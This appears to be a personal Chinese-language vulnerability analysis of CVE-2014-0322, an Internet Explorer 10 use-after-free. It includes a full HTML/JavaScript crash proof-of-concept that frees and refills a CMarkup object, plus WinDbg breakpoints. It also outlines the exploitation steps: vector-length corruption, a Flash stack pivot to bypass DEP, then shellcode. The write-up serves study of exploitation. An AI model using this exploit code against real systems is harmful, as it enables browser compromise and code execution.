CVE-2014-0322 分析

February 13, 2019 · View on GitHub

算是第一个克服畏难情绪、没有依赖他人分析文章的sample;慢慢自己会去下一些断点,总结一些内存结构,一个有纪念意义的sample。

UAF分析

Win7+IE10+flashplayer12_0r0_70_winax

并非稳定exploit,HeapSpray并不一定能喷射成期望的布局

<!-- crash POC -->
<html>
<head>
</head>
<body>

    <script>
        function debug_stop(text){
            Math.atan2(0xbadc0de, text);
        }
        
        function debug_continue(text){
            Math.atan(text);
        }
        
    
        var g_arr = [];
        var arrLen = 0x250;
        function dword2data(dword)
        {
            var d = Number(dword).toString(16);
            while (d.length < 8)
                d = '0' + d;
            return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
        }
        
        function eXpl()
        {
            debug_stop("enter eXpl");
            var a = 0;
            for (a = 0; a < arrLen; a++) {
                g_arr[a] = document.createElement('div');
            }
            // Build a new object
            var b = dword2data(0x19fffff3);
            while (b.length < 0x360)
            {
                // mov     eax,dword ptr [esi+98h]
                // ...
                // mov     eax,dword ptr [eax+8]
                // and     dword ptr [eax+2F0h],0FFFFFFBFh
                if (b.length == (0x98 / 2))
                {
                    b += dword2data(0x1a000010);
                }
                // mov     ecx,dword ptr [edx+94h]
                // mov     eax,dword ptr [ecx+0Ch]
                else if (b.length == (0x94 / 2))
                {
                    b += dword2data(0x1a111111);
                }
                // mov     eax,dword ptr [edx+15Ch]
                // mov     ecx,dword ptr [eax+edx*8]
                else if (b.length == (0x15c / 2))
                {
                    b += dword2data(0x42424242);
                } else
                {
                    b += dword2data(0x19fffff3);
                }
            }
            var d = b.substring(0, (0x340 - 2) / 2);
            // trigger
            
            debug_stop("before trigger bug, enable CMarkup breakpoint");
            try {
                this.outerHTML = this.outerHTML
            
                } catch (e) {
            }
            
            debug_stop("before CollectGarbage");
            CollectGarbage();
                
            // Replace freed object
            
            for (a = 0; a < arrLen; a++)
            {
                g_arr[a].title = d.substring(0, d.length);
            }
            
            debug_stop("finish replace object")
        }
        // Trigger the vulnerability
        function trigger()
        {
            var a = document.getElementsByTagName("script");
            var b = a[0];
            b.onpropertychange = eXpl;
            var c = document.createElement('SELECT');
            debug_stop("Before Append Child");
            c = b.appendChild(c);
        }
        
        trigger()
    </script>
    
    <!-- <embed src=AsXploit.swf width="10" height="10"></embed> -->
    
</body>
</html>


调试事项:
1. enable hpa
2. 断点
bu MSHTML!CScriptElement::CreateElement "gu; gu; .printf \"CScriptElement Address: %p\\n\",poi(ebp-4); "
bu jscript9!Js::Math::Atan ".printf \"DEBUG: %mu\\n\", poi(poi(esp+10)+c);g"
bu jscript9!Js::Math::Atan2 ".printf \"DEBUG: %mu\\n\", poi(poi(esp+14)+c);"
bu MSHTML!CMarkup::~CMarkup ".printf \"Release CMarkup Object: %p\\n\",ecx; gu;"
bu MSHTML!CMarkup::CMarkup "gu; .printf \"New CMarkup Object: %p\\n\",eax ;"
b.onpropertychange = eXpl
这行代码会触发eXpl的执行
执行this.outerHTML = this.outerHTML时,会创建一个新的script节点,用它替换原有Script节点

c = b.appendChild(c), 因为b已经不在主Dom流中了,为了对它appendChild需要创建一条新的Dom流; 
而对b appendChild, 会触发eXpl执行(b的属性被改变啊)

再次执行
this.outerHTML = this.outerHTML, 不知为何这里多了CMarkup_a的释放,更不知为何后面又重新引用它,从而就UAF啦

通过在call释放CMarkup_a前下断点,发现了CMarkup_a被释放的原因
MSHTML!InjectHtmlStream 有一段这样的Code, 先释放临时CMarkup对象,再释放script_a 所在CMarkup 对象

CMarkup::~CMarkup 并不是每次都释放CMarkup,
如果对象还被引用,则~CMarkup只是减少引用计数;
如果引用计数为0,才会真正释放CMarkup 对象

当eXpl执行完回到appendChild的逻辑时,继续用到了CMarkup_a, 因为它是对script_a appendChild
综上: 本质上还是CMarkup对象的引用计数更新不对,导致错误释放

数组越界访问

CMarkup Object被19fffff3填充,而后续会有inc [eax+10],从而修改了1a000000 处vector的length

把下一个vector的length改为0x3FFFFFFF,可读写范围更大了

Bypass ALSR

Bypass ALSR与其他exploit类似,之前分析过,略

Bypass DEP

在flash .text字段搜寻0xC394用于stack pivot
//  94              xchg    eax,esp
//  c3              ret        

这里又可以继续了解PE结构啦~~~

Run Shellcode